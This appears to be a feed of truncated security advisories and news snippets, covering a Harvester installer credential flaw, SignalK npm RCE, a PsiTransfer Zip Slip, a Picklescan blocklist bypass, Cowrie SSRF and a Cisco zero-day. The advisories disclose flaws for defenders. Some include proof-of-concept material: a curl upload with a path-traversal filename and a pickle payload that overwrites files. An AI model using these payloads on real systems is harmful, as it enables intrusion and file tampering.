### Impact Projects using the SUSE Virtualization (Harvester) environment are vulnerable to this exploit if they are using the 1.5.x or 1.6.x interactive installer to either create a new cluster or add new hosts to an existing cluster. The environment is not affected if the [PXE boot mechanism](https://docs.harvesterhci.io/v1.7/install/pxe-boot-install/) is utilized along with the [Harvester configuration](https://docs.harvesterhci. io/v1.7/install/harvester-configuration) setup. A critical vulnerability has been identified within the SUSE Virtualization interactive installer. This vulnerability allows an attacker to gain unauthorized network access to the host via a remote shell (SSH). The SUSE Virtualization operating system includes a default administrative login credential intended solely for out-of-band cluster management tasks (for example, perform troubleshooting, device management and system recovery over serial ports). When the interactive installer is used to create or ex...
### Impact An attacker may inject content with ASCII control characters like vertical tabs, ANSI escape sequences, etc., that can create misleading output of the `badkeys` command-line tool. This impacts scanning DKIM keys (both `--dkim` and `--dkim-dns`), SSH keys (`--ssh-lines` mode), and filenames in various modes. ### Patches This has been fixed with the following commits: https://github.com/badkeys/badkeys/commit/de631f69f040974bb5fb442cdab9a1d904c64087 https://github.com/badkeys/badkeys/commit/635a2f3b1b50a895d8b09ec8629efc06189f349a All users should upgrade `badkeys` to version 0.0.16. ### Resources https://github.com/badkeys/badkeys/issues/40
The SignalK appstore interface allows administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any `postinstall` script defined in `package.json`, enabling arbitrary code execution. The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious `postinstall` script. ### Affected Code **File**: `src/interfaces/appstore.js` (lines 46-76) ```javascript app.post( [ `${SERVERROUTESPREFIX}/app...
The first ThreatsDay Bulletin of 2026 lands on a day that already feels symbolic — new year, new breaches, new tricks. If the past twelve months taught defenders anything, it’s that threat actors don’t pause for holidays or resolutions. They just evolve faster. This week’s round-up shows how subtle shifts in behavior, from code tweaks to job scams, are rewriting what “cybercrime” looks like in
### Summary A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a **.tar.gz** archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE. ### Details The vulnerability exists in the archive download functionality in **lib/endpoints.js** where user controlled metadata.name is used directly without sanitization when creating TAR archive entries. ``` lib/endpoints.js:275 const entry = pack.entry({ name: info.metadata.name, size: info.size }); ``` ``` lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name'); ``` ### PoC I. Upload file with malicious filename (no authentication required). ``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64) curl -X POST http://TARGET:3000/files \ ...
### Summary Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files. ### Details This is another vulnerability which impacts the downstream user. By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE. ### PoC ```python import pickle import distutils.file_util class FileWriteBypass: def __reduce__(self): target_file = "pwned_config.env" content = ["print('I have overwritten your config')"] return (distutils.file_util.write_file, (target_file, content)) payload = pickle.dumps(FileWriteBypass()) with open("bypass_filewrite.pkl", "wb") as f: f.write(payload) print("bypass_filewrite.pkl") ``` <img width="853" heig...
Passwd is designed specifically for organizations operating within Google Workspace. Rather than competing as a general consumer password manager, its purpose is narrow, and business-focused: secure credential storage, controlled sharing, and seamless Workspace integration. The platform emphasizes practicality over feature overload, aiming to provide a reliable system for teams that already rely
Cyber threats last week showed how attackers no longer need big hacks to cause big damage. They’re going after the everyday tools we trust most — firewalls, browser add-ons, and even smart TVs — turning small cracks into serious breaches. The real danger now isn’t just one major attack, but hundreds of quiet ones using the software and devices already inside our networks. Each trusted system can
### Summary A Server-Side Request Forgery (SSRF) vulnerability in Cowrie's emulated shell mode allows unauthenticated attackers to abuse the honeypot as an amplification vector for HTTP-based denial-of-service attacks against arbitrary third-party hosts. ### Details When Cowrie operates in emulated shell mode (the default configuration), it basically emulates common Linux commands. The `wget` and `curl` command emulations actually perform real outbound HTTP requests to the destinations specified by the attacker, as this functionality is intended to allow Cowrie to save downloaded files for later inspection. An attacker who connects to the honeypot via SSH or Telnet can repeatedly invoke these commands targeting a victim host. Since there was no rate limiting mechanism in place, the attacker could generate unlimited outbound HTTP traffic toward the victim. The requests originate from the honeypot's IP address, effectively masking the attacker's identity and turning the honeypot into...
Cisco has alerted users of a maximum-severity zero-day flaw in Cisco AsyncOS software that has been actively exploited by a China-nexus advanced persistent threat (APT) actor codenamed UAT-9686 in attacks targeting Cisco Secure Email Gateway and Cisco Secure Email and Web Manager. The networking equipment major said it became aware of the intrusion campaign on December 10, 2025, and that it
